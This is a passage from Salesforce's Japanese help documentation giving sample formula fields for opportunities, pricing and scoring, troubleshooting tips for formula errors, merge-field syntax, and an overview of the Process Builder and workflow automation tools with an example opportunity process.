ドルの商談は「Category 2 (カテゴリ 2)」、10000 ドル超は「Category 3 (カテゴリ 3)」になります。この例では、ネ
ストされた IF ステートメントを使用しています。
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

商談データの完全性
この数式は、項目のうち、何パーセントがスタッフによって使用されているかを計算します。この数式項目
は、5 つの項目をチェックして、空白かどうかを確認します。該当する場合、その項目は 0 と計数されます。
値が入力されている項目は「1」と計数され、この合計を 5 (評価対象項目の数) で割ります。この数式を使用す
るには、[高度な数式] サブタブが表示されている間に、[空白項目の処理] の下の [空白項目を空白として処理]

オプションを選択する必要があります。
(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

商談のライセンス期待収益
この数式は、成立の確度に基づいてライセンスの期待収益を計算します。
Expected_rev_licenses__c * Probability
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商談収益のテキスト表示
この数式は、商談の期待収益額を、ドル記号のないテキスト形式で返します。たとえば、あるキャンペーンの
[期待収益] が「$200,000」の場合、この数式項目は「200000」を表示します。
TEXT(ExpectedRevenue)

商談の総取引規模
この数式は、メンテナンス金額とサービス金額の合計を計算します。
Amount + Maint_Amount__c + Services_Amount__c

単価に基づく商談の合計金額
この数式は、単価と総量に基づく提案価格を算出します。
Unit_price__c * Volume__c * 20

プロフェッショナルサービスの計算

この数式は、平均報酬総額を 1 日 1200 ドルとしてプロフェッショナルサービス料金を見積ります。[コンサル
ティング日数] は、商談のカスタム項目です。
Consulting_Days__c * 1200

フェーズ別のセールスドキュメントの選択

この数式は、商談の [フェーズ] に基づいて、[ドキュメント] タブに適切なドキュメントを示します。
「00l30000000j7AO」という形式のドキュメント ID を使用します。
CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", ...
)
)

セールスコーチ
この数式は、[ドキュメント] タブに保存されているフェーズ別のドキュメントを開くハイパーリンクを作成し
ます。商談の [フェーズ] に基づいてドキュメントを示す、以前に定義したカスタム数式項目を使用します。
「フェーズ別のセールスドキュメントの選択」 (ページ 5602)を参照してください。
HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in
New Window")
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重量別の送料
この数式は、重量に基づく郵送料を計算します。
package_weight__c * cost_lb__c

送料の割合

この数式は、[総額] に占める送料の割合を計算します。
Ship_cost__c / total_amount__c

段階的手数料率
この数式は、100% の確度を持つ商談の手数料を 2% として計算します。その他の商談はすべて、手数料の値が
0 になります。
IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)

経常収益と経常外収益による契約総数
この数式は、契約期間全体の経常収益源と経常外収益源の両方を計算します。
Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

価格設定の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

総額
この数式は、単価と単位数に基づいて総額を計算します。

Unit_price__c * Total_units__c

ユーザの価格設定
この数式は、ユーザライセンスあたりの価格を計算します。
Total_license_rev__c / Number_user_licenses__c
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スコア計算の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

リードの採点
この数式は、リードを採点します。電話による要求には Web サイト経由の要求
より高いスコアを付けます。

CASE(LeadSource, "Phone", 2, "Web", 1, 0)

以下は、評価に基づいてリードを採点する数式です。
CASE(1, IF(ISPICKVAL(Rating, "Hot"), 1, 0), 3, IF(ISPICKVAL(Rating, "Warm"), 1, 0), 2,
IF(ISPICKVAL(Rating, "Cold"), 1, 0), 1))

カスタマーサクセスの採点
この数式は、簡単な採点アルゴリズムを使用して、調査結果が肯定的な顧客をSalesforceで高スコアにランクし
ます。
Survey_Question_1__c * 5 + Survey_Question_2__c *2
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数式: こまった時は...?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

一部の「こまった時は」
はDatabase.comには関係
しません。

ユーザ権限

数式項目の詳細を参照す
る
• 「設定・定義を参照す

る」

数式項目を作成、変更、
または削除する
• 「アプリケーションの

カスタマイズ」

一般的な計算
• 数値を加算する
• テキストを数字に変換する
• 数字を除算する
• 数字を乗算する
• 数字を丸める
• 数字を減算する

一般的なテキスト関数
• 項目に指定されたテキストが含まれているかどうかを確認する
• 選択リスト項目に指定された値が含まれているかどうかを確認する
• 姓と名を結合する
• 数値をテキストに変換する
• ハイパーリンク項目を作成する

レポートのカスタム集計項目
• [メール送信除外] および [電話連絡拒否] 項目が選択されているすべてのリー

ドを計算する
• 商談にあるすべての [金額] 項目と [割引金額] 項目の差を計算する
• すべての商談の平均商談日数を計算する
• すべての商談に対する成立した商談の割合を計算する
• 管理用に、有効な Salesforce ユーザの人数の 2 乗を計算する
• すべての活動の所要時間 (分) をレコード数で掛け合わせた値を 24 時間ごとに計算する
• 多数の商談にまたがる製品別レベルの平均利益 (%) を計算する
• 完了した商談のすべての商品に対する 1 つの商品の割合を計算する
• 月の間の商談の収益の変化を計算する

一般的な数式エラー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

数式で発生することがある一般的なエラーと、その解決法を理解します。
• 「#エラー!」は、数式の値の計算中にエラーが発生すると、数式項目に表示

されます。エラーを解決するには、数式を確認します。
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– 数式がゼロで除算されていますか? その場合は、数式の分母がゼロかどうかを確認し、代替値を指定し
ます。たとえば、次のキャンペーン数式項目は、商談数がゼロの場合、空白になります。
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

– 数式で現在の型の最大値よりも大きい値を計算していますか? その場合は、数値に L を追加して Long 型
にすることによって、中間の結果が Long 型になりオーバーフローを防げます。たとえば、次の例は Long

型の数値を乗算することによって、1 年あたりのミリ秒数を正しく計算する方法を示します。
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;

Long ExpectedValue =
31536000000L;

System.assertEquals(MillsPerYear, ExpectedValue);

– 数式で負の数の平方根を計算していますか? その場合は、上記と似た IF 関数を使用して値が正の数かど
うかを確認します。

– 数式で負の数の LOG を計算していますか? その場合は、上記と似た IF 関数を使用して値が正の数である
ことを確認します。

– 数式で VALUE 関数に特殊文字が含まれるテキストを使用していますか? 特殊文字の例は、「数式の演算
子と関数」 (ページ 5502)を参照してください。

– 数式のテキスト関数内に HYPERLINK 関数 (LEFT( HYPERLINK("http://MYCOMPANY.ORG ", "MYCOMPANY

") , 5) など) が含まれないようにしてください。
– 数式が無効か、無効な数式項目を参照していますか? Salesforce では、数式項目は削除されると無効にな

り、復元された後も無効のままです。無効な数式項目を有効にするには、項目を編集して保存します。
削除したカスタム項目とその復元方法についての詳細は、「削除されたカスタム項目の管理」 (ページ
5396)を参照してください。

• 数式の結果が 18 桁を超えると、「#Too Big!」が表示されます。表示された場合、18 桁以上になる可能性が
ある計算の数式を確認してください。桁の大きな数字の掛け算、桁の大きな数字の累乗、または桁の小さ
な数字による割り算はしないでください。

• 式からエラーが返されるときは、必ず CASE 関数によってエラーが返されます。たとえば、
CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) では、項目の値が
「パートナー」または「顧客」であっても、最後のステートメントが論理的でないためにエラーが返され
ます。

• 項目の値がゼロかどうかを判別する IF 関数を追加して、ゼロによる除算エラーを防ぎます。たとえば、
IF(Field__c =0,0, 25/Field__c) のようになります。
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レコードからのメール生成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能な差し込み項目
は、使用している
Salesforce のエディション
によって異なります。

差し込み項目とは、メールテンプレート、差し込み印刷テンプレート、カスタ
ムリンク、またはレコードの値を投入する数式を入力できる項目です。たとえ
ば、差し込み項目をメールテンプレートに配置して、一般的な「Hello!」ではな
く受信者の名前を挨拶に含めることができます。
差し込み項目は、カスタム数式項目、Sコントロール、カスタムリンク、および
カスタムボタン、Visualforce ページの中で、また、メールテンプレートまたは差
し込み印刷テンプレートを作成するときに使用できます。
差し込み項目名は、新しいカスタム項目またはオブジェクトを作成するときに
決まります。[項目名]は、[項目表示ラベル]の入力内容に基づいて自動的に取
り込まれます。必要に応じてこの項目をカスタマイズすることもできますが、
名前は次の条件を満たしている必要があります。
• アンダースコアと英数字のみを使用する。
• 文字で開始し、文字で終了する。
• スペースは含めない。
• アンダースコア (_) を 2 つ続けて入力しない。

重要: カスタム項目名および表示ラベルがそのオブジェクトで一意であるようにしてください。
• 標準項目とカスタム項目の名前や表示ラベルが同じ場合、差し込み項目にはカスタム項目の値が表示

されます。
• 2 つのカスタム項目の名前や表示ラベルが同じ場合、差し込み項目に予期しない値が表示される場合

があります。
Emailという項目ラベルを作成し、[メール]というラベルの標準項目がすでにある場合、差し込み項目
はそれらの項目を区別できない可能性があります。カスタム項目名に 1 文字追加すると、項目名が一意に
なります。たとえば、Email2 のように指定します。

Salesforceでオブジェクトまたは項目の差し込み項目名を見つけるには、オブジェクトまたは項目の詳細ページ
に移動し、[項目名] を参照します。
差し込み項目を取り込むには、それぞれの機能でエディタを使用します。Salesforceには、関連するすべての標
準オブジェクトとカスタムオブジェクトについて、各エディタに有効な差し込み項目が備えられています。
Connect for Office Word アドインを使用して差し込み印刷テンプレートを作成する場合は、挿入する有効な差し込
み項目の完全なリストが表示されます。

差し込み項目の構文
差し込み項目の構文は、その項目をどこで使用するかによって異なります。確実に正しい構文を使用する
には、差し込み項目を使用しているエディタのドロップダウンリストから差し込み項目を選択します。
入力規則の差し込み項目
数式の差し込み項目
クロスオブジェクト数式の差し込み項目
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差し込み項目のヒント
差し込み項目を最大限活用するためのいくつかのアドバイスを次に示します。

差し込み項目の構文

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能な差し込み項目
は、使用している
Salesforce のエディション
によって異なります。

差し込み項目の構文は、その項目をどこで使用するかによって異なります。確
実に正しい構文を使用するには、差し込み項目を使用しているエディタのドロッ
プダウンリストから差し込み項目を選択します。
カスタムオブジェクトおよびカスタム項目は、参照時に常に「__c」が付加され
ます。項目ラベルの前にはオブジェクトが付けられ、スペースはすべてアンダー
スコアに変換されます。たとえば、Account.CreatedDate は取引先オブジェ
クトの [作成日] という標準項目を参照します。
標準リレーションの場合、リレーション名は主オブジェクトの名前になります。
たとえば、Account.Name を使用して、取引先責任者入力規則から取引先名を
参照できます。Opportunity.Account.CreatedBy.Phone を使用して、商談
品目数式項目から取引先作成者の電話番号を参照できます。カスタムリレーショ
ンの場合、リレーション名は、[項目名] で指定された値に「__r」を付加した値になります。たとえば、
Contact__r.Emailを使用して、カスタムオブジェクト入力規則から取引先責任者のメールを参照できます。

入力規則の差し込み項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。

構文および書式設定
入力規則で差し込み項目を挿入する場合、構文はオブジェクト、ピリオド、お
よび項目名で構成されます。たとえば、$User.Stateはユーザの都道府県に対
応します。
差し込み項目の構文は、その項目をどこで使用するかによって異なります。確
実に正しい構文を使用するには、差し込み項目を使用しているエディタのドロッ
プダウンリストから差し込み項目を選択します。入力規則の差し込み項目はア
プリケーションの項目に直接対応しています。
オブジェクト内の項目のリストの場合は、オブジェクトの管理設定から、項目
セクションに移動します。

重要:

• 複数のカスタムオブジェクトに一致する名前や表示ラベルがある場合、
[使用可能な差し込み項目] から選択するときにいずれか 1 つのオブジェ
クトのみが表示されます。どのオブジェクトからも差し込み項目を選択
できるように、すべてのカスタムオブジェクトの項目名と表示ラベルが
一意であるようにしてください。
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制限事項
入力規則では、次の差し込み項目を参照できません。
• [要求番号] などの自動採番項目
• 住所、姓名、連動選択リスト、連動ルックアップなどの複合項目

メモ: 入力規則では、[市区郡(請求先)] など、個々の住所項目の差し込み項目は参照できません。

• 個々のキャンペーンおよびキャンペーン階層の統計などのキャンペーン統計項目

ヒント
• 差し込み項目によっては、ラジオボタンとして表示されていても、数式で参照されると選択リスト項目の

ように機能するものがあります。
次を参照する場合は、値「Read」、「Edit」、および「None」を数式で使用します。
– $UserRole.CaseAccessForAccountOwner

– $UserRole.OpportunityAccessForAccountOwner

– CaseAccessLevel (テリトリー上)

– OpportunityAccessLevel (テリトリー上)

次を参照する場合は、値「Read」、「Edit」、および「All」を数式で使用します。
– AccountAccessLevel (テリトリー上)

• 数式に RecordType.Id 差し込み項目を使用して、さまざまなレコードタイプに対して異なる入力規則を
適用します。

関連トピック:

オブジェクト管理設定の検索

数式の差し込み項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。

構文および書式設定
数式の差し込み項目は中括弧で囲まれていないか、感嘆符が前に付けられてお
らず、レコードタイプも前に付けられていません。例: AccountNumber 確実に
正しい構文を使用するには、[項目の挿入]ボタンを使用するか、数式エディタの
ドロップダウンリストを使用します。

関連トピック:

数式での差し込み項目の使用のヒント
数式項目の作成
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クロスオブジェクト数式の差し込み項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。
クロスオブジェクト数式項目とは、2 つの関連オブジェクトにまたがり、そのオ
ブジェクトで差し込み項目を参照する数式です。クロスオブジェクト数式項目
は、オブジェクトが主従関係の従側の場合は主 (「親」) オブジェクトから、差
し込み項目を参照できます。クロスオブジェクト数式は参照関係にも使用でき
ます。たとえば、ケースに関連付けられた取引先責任者の[取引先名]を参照す
るクロスオブジェクト数式を作成できます。この例では、ケースオブジェクト
の数式に Contact.Account.Name と入力します。

構文および書式設定
数式の差し込み項目は中括弧で囲まれていないか、感嘆符が前に付けられていません。ラベルではなく、オブ
ジェクトのリレーション名を使用してください。リレーション名はオブジェクト名と同じ場合が多いですが、
正確にはリレーション項目の項目名です。
Account オブジェクトから親取引先名を参照する場合、構文は Parent.Name であり、Account.Name ではあ
りません。カスタムオブジェクトを参照する場合は、2 つのアンダースコアと文字 r を名前に追加します。た
とえば、Position__r.title__c は、Position カスタムオブジェクトの [役職] 項目 (title__c) を参照しま
す。

制限事項
次のものは参照できません。
• 活動に関連するオブジェクトの差し込み項目。たとえば、取引先責任者と取引先の差し込み項目は ToDo お

よび行動の数式では使用できません。
• $RecordTypeグローバル変数は数式を含むレコードのみを解決し、数式がまたがるレコードについては解

決しません。Spring '13 リリース以降では、新しい数式を作成する場合、$RecordTypeグローバル変数はデ
フォルト値の数式でのみ使用できます。

Profile.Name 差し込み項目の値は、それを参照するクロスオブジェクト数式項目のコンテキストにより異
なります。詳細ページでは、値はもちろんプロファイル名ですが、リストビューとレポートでは、プロファイ
ル名ではなく、関連プロファイルの内部値になります。数式で Profile.Name を使用する場合、数式が常に
意図する結果を返すように、OR 関数内で使用します。次に例を示します。
IF

(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name =

"PT2"),
"Standard", "Not Standard")

上記のいずれも、$Profile グローバル変数が参照するプロファイル名には適用されません。
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差し込み項目のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能な差し込み項目
は、使用している
Salesforce のエディション
によって異なります。

差し込み項目を最大限活用するためのいくつかのアドバイスを次に示します。
• 差し込み項目をリンク先として使用するには、http://の後に差し込み項目

を挿入します。
• Salesforce では、数値項目設定で指定された小数点以下桁数ではなく、ユーザ

のロケールに従って、差し込み項目で参照される数値を丸めます。
• 取引先またはユーザのデフォルト言語に加え、取引先、取引先責任者、また

はリードを組織のデフォルト言語 (ローカルネーム) で保存できます。ローカ
ルネームが空白の場合は、標準の差し込み項目名が使用されます。

• 単独ファイルを参照するには、$Resource.<resource_name> を使用しま
す。<resource_name> は、リソースをアップロードしたときに指定した名
前です。

• カスタム項目名の翻訳にトランスレーションワークベンチを使用している場合、ユーザは選択した言語で
差し込み項目を検索できます。

• メールテンプレートの差し込み項目として参照項目を使用することはできません。ただし、参照項目から
値を取り出すページレイアウト上の非表示数式項目を作成できます。その後、メールテンプレートに非表
示項目を含めます。

ビジネスプロセスの自動化

ユーザがビジネスプロセスの各部分を実行するのに任せるのではなく、プロセスを自動化しましょう。利点は
2 つあります。ユーザが時間を他の ToDo に使用できることと、システム管理者がプロセスが常に完了すると確
信を持てることです。Salesforce には、ワークフロープロセス、承認プロセス、ウィザードベースプロセスな
ど、各種のビジネスプロセスを自動化するツールが備えられています。これらのツールは、コードを書く必要
がありません、つまりすべてポイント & クリックです。

使用する自動化ツール
Salesforce には、承認、プロセスビルダー、ワークフロー、Visual Workflow など、組織で反復するビジネスプ
ロセスを自動化するためのツールがいくつか備えられています。
Lightning プロセスビルダー
割り当てる ToDo、送信するメール、および他のレコード更新の多くは、組織の標準プロセスの重要な部分
です。この反復作業を手動で実行する代わりに、プロセスを設定して自動的に実行できます。
Visual Workflow

Visual Workflow では、フローを作成して適切なユーザまたはシステムに配布することにより、ビジネスプロ
セスを自動化できます。フローは、ロジックの実行、Salesforce データベースの操作、Apex クラスのコール、
ユーザからのデータの収集を行えるアプリケーションです。Cloud Flow Designer を使用して、フローを作成
できます。
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ワークフロー
ワークフローにより、標準的な社内手続きやプロセスを自動化し、組織全体で時間を節約できます。ワー
クフロールールは、一連のワークフロー手順のメインコンテナです。これらの手順はすべて、if/then ステー
トメントに要約できます。
承認
プロセスの自動化については、ワークフロールールという形ですでに慣れているものと思われます。承認
機能では自動化をさらに 1 歩進めて、レコードの承認に必要な一連のステップを指定できます。
自動アクションの実行
自動アクションは、項目の更新やメールの送信などのアクションをバックグラウンドで実行する再利用可
能なコンポートです。自動アクションを作成したら、プロセス、マイルストン、その他の自動プロセスに
追加します。

使用する自動化ツール
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

プロセスを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

フロー、承認、ワークフ
ローを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce には、承認、プロセスビルダー、ワークフロー、Visual Workflow など、
組織で反復するビジネスプロセスを自動化するためのツールがいくつか備えら
れています。
ニーズに最も適した自動化ツールは、自動化するビジネスプロセスの種類によっ
て異なります。
• レコードの承認方法

例: マネージャが直属部下の休暇要求を承認します。
• レコードが特定の値を持つ場合の処理

例: 関連ケースがエスカレーションされた場合に取引先所有者に通知します。
• ユーザまたは顧客からの情報収集およびその情報を使用した処理

例: カスタマーサポートはコールスクリプトのステップを順に実行するウィ
ザードを使用し、ケースは入力情報に基づいて作成されます。

レコードの承認方法
たとえば、従業員が休暇を申請したら、従業員のマネージャがそれを承認しな
ければならないとします。その場合、承認を受けるために休暇申請が送信されたら、適切な人物 (従業員のマ
ネージャ) にその申請が届くようにする必要があります。
レコードを承認するために組織のプロセスを自動化するには、承認プロセスを作成します。

レコードが特定の値を持つ場合の処理
3 つのツールを使用して、ワークフロー、プロセスビルダー、Visual Workflow の使用事例に対処できます。これ
らのツールでは、ワークフロールール、プロセス、フローがそれぞれ作成されます。
特に if/then ステートメントに簡略化できるビジネスプロセスでは、まずプロセスビルダーの使用をお勧めしま
す。たとえば、ケースがエスカレーションされた場合に、取引先所有者に通知します。
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プロセスビルダーには、ワークフロールールで使用できるほぼすべての機能、および追加機能が含まれていま
す。通常は複数のワークフロールールを必要とする操作を、1 つのプロセスで処理できます。ワークフローで
実行できてプロセスで実行できないことは、コードなしでアウトバウンドメッセージを送信することのみで
す。ただし、プロセスから Apex コードをコールすることで、この制限を回避できます。
プロセスビルダーで対応するには複雑すぎるプロセスや、高度な機能を必要とするプロセスの場合は、Cloud

Flow Designer を使用してフローを作成します。たとえば、次のようなフローを作成します。
• 複雑な分岐ロジック (特定の条件が true の場合、さらに条件を評価する) を使用する

例: まず、ケースがエスカレーションされたかどうかを確認します。ケースがエスカレーションされた場合
は、取引先の地域を確認し、ケースを適宜転送します。

• 複数のレコードで並び替え、反復処理、操作を行う
例: 商談が完了および成立した後で、商談の割引を計算します。次に、その割引をすべての関連商談商品に
適用します。

ユーザまたは顧客からの情報収集およびその情報を使用した処理
情報収集するウィザードを作成する必要がある場合は、Visual Workflowツールが適しています。ユーザに情報を
表示してユーザから情報を要求するフローを作成します。ユーザが入力した情報を使用して、Salesforceでアク
ションを実行します。
たとえば、コールスクリプトをカスタマーサポート担当に順を追って説明するフローを作成します。フローで
は、コール元の名前や取引先番号など、担当者が入力した情報を使用して、適切な担当者に割り当てられる
ケースを作成します。
ビジネスプロセスに合わせてフローをさらに複雑にすることができます。以下に例を示します。
• 以前の選択内容に基づいて、担当者に異なる画面を表示します。これにより、商品を購入済みの顧客に対

して担当者が同じ商品をアップセルすることがなくなります。
• 報告された問題により顧客のビジネスがブロックされ、重要な取引先であるかどうかを確認します。この

場合は、フローにより地域責任者に通知されます。

自動ツールの機能
次に、それぞれの自動化ツールでサポートされるすべての機能およびアクションの分類を示します。これを使
用して、ビジネスニーズに最も適したツールを判断してください。

承認ワークフローVisual Workflowプロセスビルダー

単一の if/then ステートメ
ント

単一の if/then ス
テートメント

複雑複数の if/then ス
テートメント

複雑さ

ビジュアルデザ
イナ

すべてすべてすべて (Safari は推奨されない)すべて (Chrome を
推奨)

ブラウザのサ
ポート
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承認ワークフローVisual Workflowプロセスビルダー

レコードが変更
されたとき

開始時期 • ユーザがボタンまた
はリンクをクリック
したとき

•• ユーザがボタンまたはリ
ンクをクリックしたとき

レコードが変
更されたとき

• •別のプロセス
から呼び出さ
れたとき

ユーザがカスタムタブに
アクセスしたとき • [承認申請] アクション

を含むプロセスまた
はフローが開始した
とき

• プロセスが開始したとき
• Apexがコールされたとき

• Apex がコールされた
とき

時間ベースのア
クションのサ

ポート

ユーザ操作のサ
ポート

サポートされるアクション

Apex コードの
コール

ToDo のみToDo のみレコードの作成

プロセスの呼び
出し

レコードの削除

フローの起動

(パイロット)1

Chatterへの投稿

メールの送信

(メールアラート
のみ)

(メールアラートのみ)(メールアラート
のみ)

コードなしでア
ウトバウンド
メッセージを送

信

承認申請
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承認ワークフローVisual Workflowプロセスビルダー

特定のレコードまたはそ
の親

特定のレコード
またはその親

任意のレコード任意の関連レコー
ド

項目の更新

1 以前にパイロットプログラムで使用できたフロートリガワークフローアクションは、プロセスビルダーに置
き換えられました。フロートリガワークフローアクションを使用している組織は、引き続きフロートリガワー
クフローアクションの作成および編集ができますが、新しい組織では使用できません。

Lightning プロセスビルダー
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

割り当てる ToDo、送信するメール、および他のレコード更新の多くは、組織の
標準プロセスの重要な部分です。この反復作業を手動で実行する代わりに、プ
ロセスを設定して自動的に実行できます。
プロセスビルダーは、ビジネスプロセスを簡単に自動化できるワークフローツー
ルです。プロセスビルダーは、プロセスの作成時にそのプロセスをわかりやす
く視覚的に表示します。プロセスビルダーでは、次のことができます。
• 便利なレイアウトを使用してポイント & クリックで効率的にプロセスを作成

する。
• 複数のワークフロールールを使用する代わりに、1 か所でプロセス全体を設

計する。
• 組織内の他のチームとコラボレーションしてプロセスを作成する。
• 単純なタスクの自動化における Apex コードの使用を停止する。
プロセスビルダーの自動化プロセスは、レコードに基づいています。別のプロセスを呼び出すプロセスを作成
することもできます。プロセスの構成は次のとおりです。
• アクショングループをいつ実行するかを決定する条件
• 条件が満たされたときに実行する、ルール適用時のアクション
• 条件が満たされたときに実行する、スケジュール済みアクション (呼び出し不可能なプロセスのみ)

レコードまたは呼び出し可能なプロセスを条件に一致させる変更によって、自動的にアクショングループがト
リガされる可能性があります。1 つのプロセスで複数のアクショングループを実行することもできます。この
ため、取引先のようなビジネスレコードをすべて 1 か所で簡単に自動化できます。
ワークフローと同じアクションを実行するには、より強力で柔軟になったプロセスビルダーを使用します。プ
ロセスビルダーでは、次のことができます。
• レコードを作成する。
• レコードとその親のみでなく、あらゆる関連レコードを更新する。
• クイックアクションを使用して、レコードの作成、レコードの更新、または活動の記録を行う。
• プロセスを別のプロセスから呼び出す。
• フローを起動する。このアクションはワークフローでスケジュールできません。
• メールを送信する。
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• Chatter に投稿する。
• 承認申請する。
これらのアクション以上のことをプロセスで実行する必要がある場合も問題はありません。Apexまたはフロー
をプロセスからコールすることもできます。

サンプルプロセス: 商談管理
次の例では、ワークフロールールの代わりにプロセスビルダーを使用して、1 つのビジネスプロセスを自動
化します。
プロセスの制限および考慮事項
プロセスを作成、管理、有効化する場合は、まずその制限や考慮事項を理解しておく必要があります。
プロセスビルダーでの値の設定
プロセスビルダー全体を通して、条件ノードの条件の設定、[レコードを作成] アクションでの新規ケース
の項目の設定、参照する Apex メソッドの指定などを行うために、値を設定する必要があります。
プロセスビルダーでの詳細オプションの設定
プロセスビルダーでは、プロセスでアクションを実行するための詳細なオプションを選択できます。
プロセスの作成
プロセスを作成するには、そのプロパティおよび評価するレコードを定義し、条件ノードとアクションを
追加します。
プロセスのトラブルシューティング
プロセスビルダーに表示されるエラーメッセージと、プロセスが失敗したときに受信するメールを使用し
て、プロセスを処理するときに発生した問題の解決に役立てます。それ以外が失敗した場合はすべて、プ
ロセスの Apex デバッグログを確認します。

関連トピック:

使用する自動化ツール

サンプルプロセス: 商談管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の例では、ワークフロールールの代わりにプロセスビルダーを使用して、1 つ
のビジネスプロセスを自動化します。
プロセスビルダーを使用して、複数のグループの条件を追加してから個々のア
クションをその条件に関連付けることによって、1 つのプロセスを自動化する例
を示します。また、レコード作成などの一部のアクションは、ワークフロールー
ルでは実行できませんが、プロセスビルダーでは使用できます。
この例では、商談レコード (1)を作成または編集したときにプロセスが開始され
るように定義されています。
設定された 3 つの条件ノードでは、重要商談が成立した (2)、重要商談が不成立
になった (3)、または見積が提供された (4)かどうかが確認されます。最初の条件
ノードが true と評価されると、関連付けられたアクショングループが実行され
ます。
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「High Value Deal Won (重要商談の成立)」条件では、商談のフェーズが成立したかどうかが確認されます。また、
商談金額が $1,000,000.00 を超えているかどうかも確認されます。両方の条件が満たされると、関連付けられた
アクショングループが実行されます。この条件ノードには、3 つのルール適用時のアクション (5)と、1 つのス
ケジュール済みアクション (6) が定義されています。
アクションの内容は次のとおりです。
• 商談の取引先に関連付けられるドラフト契約レコードを作成する。
• 販売 Chatter グループに投稿することで、商談を成立させた商談所有者を奨励する。
• 商談が成立したことを販売の統括責任者にメールで通知する。
• 関連付けられた取引先所有者に対して、商談の [完了予定日] の 6 日後に実行予定の、優先度の高いフォ

ローアップ ToDo を作成する。
「High Value Deal Won」条件が満たされない場合、関連付けられたアクショングループは実行されず、次の条件
ノード (「High Value Deal Lost (重要商談の不成立)」) が評価されます。
「High Value Deal Lost」条件では、商談のフェーズが不成立になり、商談金額が $1,000,000.00 以上であるかどうか
が確認されます。これらの条件が true の場合、商談レコードで Chatter 投稿を作成することで販売の統括責任者
に通知するアクション (7) が設定されています。投稿では、不成立になった商談および商談金額が特定されま
す。
上記の条件がどちらも満たされない場合、このプロセスで定義された次の条件ノードで、商談フェーズが
「Proposal/Quote Given (提案/見積提供済み)」に設定されているかどうかが確認されます。この条件が true の場
合、スケジュール済みアクション (8) がレコード更新の 3 日後に実行されます。スケジュール済みアクション
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では、商談所有者にフォローアップの ToDo が作成され、商談に関する問い合わせを電話でできるようにしま
す。
プロセスビルダーを使用して、3 つの条件ノードおよび関連付けられたアクションを、自動化された 1 つのプ
ロセスに組み合わせました。同じビジネスプロセスをワークフローで自動化するには、3 つの異なるワークフ
ロールールを作成し、Apex トリガを使用して契約レコードの作成および販売 Chatter グループへの投稿を行う
必要があります。

プロセスの制限および考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスを作成、管理、有効化する場合は、まずその制限や考慮事項を理解し
ておく必要があります。

メモ: Google Chrome™ の最新の安定したバージョンを使用することをお勧め
します。画面解像度は、幅が 1024 以上である必要があります。

プロセスビルダーの制限
プロセスビルダーを使用するときは、共通の制限およびApexガバナ制限に留
意してください。
プロセスの設計に関する考慮事項
プロセスを設計する場合は、その制限やガイドラインを理解しておく必要が
あります。
プロセスの Chatter に関する考慮事項
プロセスから Chatter 投稿を作成する場合は、次の制限を考慮します。
プロセスのスケジュール済みアクションに関する考慮事項
スケジュール済みアクションをプロセスに追加する場合は、その制限やガイドラインを理解しておく必要
があります。
プロセスビルダーのアクセシビリティに関する考慮事項
プロセスビルダーは、1 つの例外を除き、米国リハビリテーション法第 508 条に準拠しています。
プロセスの変更セットおよびパッケージに関する考慮事項
プロセスをリリースするときの考慮事項は、次のとおりです。
プロセス数式の制限
条件ノードで条件として使用される数式には、制限がいくつかあります。プロセスに無効な数式が含まれ
ていると、プロセスを保存または有効化できません。
